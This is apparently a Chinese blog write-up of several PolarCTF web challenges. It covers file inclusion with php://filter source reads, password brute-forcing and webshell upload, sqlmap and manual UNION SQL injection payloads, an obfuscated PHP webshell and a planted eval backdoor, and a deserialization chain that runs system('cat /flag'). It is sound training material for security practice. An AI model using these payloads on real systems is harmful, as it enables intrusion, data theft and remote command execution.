椰子树晕淡水鱼

看到三个交互点

提示是一个藏头诗,让我们进行文件包含


这两个页面用处不大,可以看到在路径中可以进行文件包含
我们扫一下目录看看有没有什么可以使用的信息

扫描目录可以看到,有上传页面推测需要文件上传
首先看看/password

需要密码
没有这方面的提示应该是4-6位的纯数字
ARCHPR,成功爆出



我们使用刚才的密码本进行爆破

成功爆破

是一个文件上传页面

上传一个木马

修改一下后缀

上传成功

成功获取flag
再给我30元

一道SQL注入题目
没有看到注入点,查看源码,看看有没有提示

在源码中给了提示
告诉我们使用id作为注入点

应该没有人会去扫吧?
我们使用SQLMAP进行注入
SQLMAP注入

python sqlmap.py -u "http://8267e77b-510a-41d
b-9ecb-423e1bef51b6.www.polarctf.com:8090/?id=0" -p id --level=5 --risk=3 --random-agent
--url 的简写,指定目标注入点 URL
--param 的简写,明确告诉 sqlmap:只测试 id 这个参数是否可注入
检测深度,共 1~5 级,5 是最高级别
风险等级,共 1~3 级,3 是最高级别
每次请求都随机使用一个 User-Agent,用来绕过一些基于 UA 的简单 WAF 或限流规则
我们得到了列数为两列
数据库为MySQL
可用注入类型:布尔盲注、时间盲注、UNION 注入

python sqlmap.py -u "http://8267e77b-510a-41d
b-9ecb-423e1bef51b6.www.polarctf.com:8090/?id=0" -p id --level=5 --risk=3 --random-agent --union-cols=2
--union 注入类型
-cols 列数
对于这题没什么用,说一下可以减少等待的时间

python sqlmap.py -u "http://8267e77b-510a-41d
b-9ecb-423e1bef51b6.www.polarctf.com:8090/?id=0" -p id --level=5 --risk=3 --random-agent --technique=U --dbms=mysql \ --sql-query="UNION SELECT 1,group_cincat(schema_name) FROM information_schema.schemata"
--technique=U 只使用 UNION 注入
--dbms=mysql 直接声明后端是 MySQL
--sql-query="UNION SELECT 1,group_concat(schema_name) FROM information_schema.schemata" 直接执行指定的 SQL 查询(利用 UNION 注入)
可以看到直接把结果保存到了我们的目录下的文件夹
接下来爆破数据库

python sqlmap.py -u "http://8267e77b-510a-41d
b-9ecb-423e1bef51b6.www.polarctf.com:8090/?id=0" -p id --level=5 --risk=3 --random-agent --technique=U --dbms=mysql \ --sql-query="UNION SELECT 1,group_cincat(schema_name) FROM information_schema.schemata" -dump --dbms=mysql
-dump 执行完 --sql-query 后,继续把当前数据库的所有表、所有列、所有数据全部 dump 出来

正常SQL注入可以
手搓
?id=1 group by 2
?id=1 group by 3 #判断列数
?id=-1 union select version(),database() #爆库
?id=-1 union select version(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) #爆表
?id=-1 union select version(),(select group_concat(column_name) from information_schema.columns where table_name=0x757365725f696e666f) #爆列
?id=-1 union select version(),(select group_concat(secret) from WelcomeSQL.user_info) #爆字段

UNION 联合注入,SQLmap的使用
狗黑子CTF变强之路
信息收集

打开环境,页面是ctf变强之路,有三个按钮,随便点一个发现url后面拼上了/index.php?page=miji.php,修改page的值为flag.php无回显,修改为1回显只允许包含php文件,猜测是文件包含漏洞并且只能包含php文件,我们dirsearch扫一下
等待过程中看看还有没有什么信息


好的,没有

一个amin.php,但是我们没有账号和密码

第一种方法
我们利用php伪协议读取?page=php://filter/read=convert.base64-encode/resource=admin.php,解base64后得到一段源码

<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
// 硬编码的用户名和密码
$correctUsername = "ggouheizi";
$correctPassword = "zigouhei";
$username = $_POST['username'];
$password = $_POST['password'];
if ($username == $correctUsername && $password == $correctPassword) {
// 登录成功,直接跳转到 gougougou.php
header("Location: gougougou.php");
exit;
} else {
$errorMessage = "用户名或密码错误,请重新输入。";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>秘境遗迹</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
}
form {
background-color: white;
padding: 20px;
border-radius: 10px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.2);
width: 300px;
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
}
label {
display: block;
margin-bottom: 5px;
font-weight: bold;
}
input[type="text"],
input[type="password"] {
width: 100%;
padding: 10px;
margin-bottom: 15px;
border: 1px solid #ccc;
border-radius: 5px;
box-sizing: border-box;
transition: border-color 0.3s ease;
}
input[type="text"]:focus,
input[type="password"]:focus {
border-color: #4CAF50;
}
input[type="submit"] {
padding: 10px 20px;
background-color: #4CAF50;
color: white;
border: none;
border-radius: 5px;
cursor: pointer;
transition: background-color 0.3s ease;
}
input[type="submit"]:hover {
background-color: #45a049;
}
</style>
</head>
<body>
<form method="post">
<label for="username">用户名:</label><br>
<input type="text" name="username"><br>
<label for="password">密码:</label><br>
<input type="password" name="password"><br><br>
<input type="submit" value="登录">
<?php if(isset($errorMessage)) { echo $errorMessage; }?>
</form>
</body>
</html>
看到有gougougou.php,伪协议读取

<?php
$gou1="8AZ1mha\vHTnv9k4yAcyPZj98gG47*yESyR3xswJcDD4J2DNar";
$gou2="bgW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09";
$gou3="tVXTklXR1prWVhWcCmNVZG5kMDV3ZEVsQ1MybEVjM2hOUlhweFFscHJUM1YzVldGVVMwWllVbVpNWjIxMlkyaGlhWEJaWkU1NVFVZHpTVmRXUlZGdWVHcEVVRzlJVTNSRFRVcHlaV3h0VFRscVYwRm1lSEZ1VkRKVldXcE1TMms1Y1hjeFJFWlpUa2xvWjFsU2MwUm9WVlpDZDBWWVIzWkZOMGhOT0N0UGVEMDk=";
$gou4=$gou1{20}.$gou1{41}.$gou1{13}.$gou1{38}.$gou1{6}.$gou1{9}.$gou1{1}.$gou1{25}.$gou1{2};
$gou5=$gou2{30}.$gou2{27}.$gou2{51}.$gou2{0}.$gou2{44}.$gou2{1}.$gou2{28}.$gou2{30}.$gou2{79}.$gou2{87}.$gou2{61}.$gou2{61}.$gou2{79};
$gou6=$gou1{34}.$gou3{36}.$gou1{39}.$gou3{41}.$gou1{47}.$gou3{0}.$gou3{20}.$gou3{16}.$gou3{62}.$gou3{62}.$gou3{159}.$gou3{3}.$gou1{37}.$gou3{231};
#$gou7=Z291MnsxN30uZ291MXs4fS5nb3U0ezR9LmdvdTV7MTJ9KCRnb3U0LiRnb3U1LiRnb3U2KQ==;
?>
这是一段典型的 PHP 混淆壳(“狗壳”、“gou壳”)

我们对$gou7进行base64解码,再将\v换成1v,gou1中的\v可能被认为是一个字符,因为\是转义符,所以把\换成其他可识别字符再解,得到gou7的真实值
<?php
$gou1="8AZ1mhavHTnv9k4yAcyPZj98gG47*yESyR3xswJcDD4J2DNar";
$gou2="bgW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09";
$gou3="tVXTklXR1prWVhWcCmNVZG5kMDV3ZEVsQ1MybEVjM2hOUlhweFFscHJUM1YzVldGVVMwWllVbVpNWjIxMlkyaGlhWEJaWkU1NVFVZHpTVmRXUlZGdWVHcEVVRzlJVTNSRFRVcHlaV3h0VFRscVYwRm1lSEZ1VkRKVldXcE1TMms1Y1hjeFJFWlpUa2xvWjFsU2MwUm9WVlpDZDBWWVIzWkZOMGhOT0N0UGVEMDk=";
$gou4=$gou1{20}.$gou1{41}.$gou1{13}.$gou1{38}.$gou1{6}.$gou1{9}.$gou1{1}.$gou1{25}.$gou1{2};
$gou5=$gou2{30}.$gou2{27}.$gou2{51}.$gou2{0}.$gou2{44}.$gou2{1}.$gou2{28}.$gou2{30}.$gou2{79}.$gou2{87}.$gou2{61}.$gou2{61}.$gou2{79};
$gou6=$gou1{34}.$gou3{36}.$gou1{39}.$gou3{41}.$gou1{47}.$gou3{0}.$gou3{20}.$gou3{16}.$gou3{62}.$gou3{62}.$gou3{159}.$gou3{3}.$gou1{37}.$gou3{231};
#$gou7=Z291MnsxN30uZ291MXs4fS5nb3U0ezR9LmdvdTV7MTJ9KCRnb3U0LiRnb3U1LiRnb3U2KQ==;
$gou8=$gou2{17}.$gou1{8}.$gou4{4}.$gou5{12}.($gou4.$gou5.$gou6);
echo $gou8;
?>


可以看到,这里有一个木马
我们可以直接进行命令执行

还有一种方法
直接伪协议读取index.php

<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
// 简单的文件类型检查,只允许包含 php 文件
if (strpos($page, '.php')!== false) {
include($page);
} else {
echo "只允许包含 php 文件";
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>狗黑子的小破站</title>
<style>
body {
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
min-height: 100vh;
margin: 0;
}
.button {
display: inline - block;
padding: 10px 20px;
margin: 10px;
background-color: #4CAF50;
color: white;
text-decoration: none;
border-radius: 5px;
}
.button:hover {
background-color: #45a049;
}
#content {
display: flex;
flex-direction: column;
align-items: center;
}
</style>
</head>
<body>
<h1>欢迎来到 CTF 变强之路</h1>
<div id="content">
<form action="index.php" method="get">
<input type="hidden" name="page" value="miji.php">
<input type="submit" value="秘籍" class="button">
</form>
<form action="index.php" method="get">
<input type="hidden" name="page" value="fabao.php">
<input type="submit" value="法宝" class="button">
</form>
<form action="index.php" method="get">
<input type="hidden" name="page" value="jinshouzhi.php">
<input type="submit" value="金手指" class="button">
</form>
</div>
<?php
if (isset($_GET['page'])) {
echo '<div id="display">';
}
?>
</body>
</html>
<?php @eval($_POST['cmd'])?>
在这里也有木马
伪协议包含+命令执行
小白说收集很重要

题目提示为需要信息收集,我们先来进行信息收集
信息收集

我们进行扫描
/flag.php

/login.php

检测登录的页面
/upload_file.php

上传文件的路径
/users.json

在这里存在,登录的密码
我们先登录看看,有什么信息

继续信息收集




都是一些学习知识

应该是在这里登录admin

经过测试,在短语中的信息是构造密码的关键

复制全部密码,进行爆破

成功爆出admin的账户
sysadmin
xiaobai

成功登录
命令执行
ls

cat /flag

文件上传

想试试可不可以进行文件上传,但是上传什么文件都是报错
反序列化

<?php
class Boss {
public $king;
function __destruct() {
$this->funnn();
}
function funnn() {
$this->king->close();
}
}
class Staff {
public $man;
function close() {
eval($this->man);
}
}
if (isset($_GET['data'])) {
$user_data = unserialize($_GET['data']);
}
?>
链子很简单,但是反序列化失败
<?php
class Boss {
public $king;
function __destruct() {
$this->funnn();
}
function funnn() {
$this->king->close();
}
}
class Staff {
public $man;
function close() {
eval($this->man);
}
}
$a = new Boss();
$a->king = new Staff();
$a->king->man = 'system("cat /flag");';
echo serialize($a);
?>

没明白,是没有做还是我的方法有问题
信息收集,文件上传,命令执行,反序列化

2431

被折叠的 条评论
为什么被折叠?



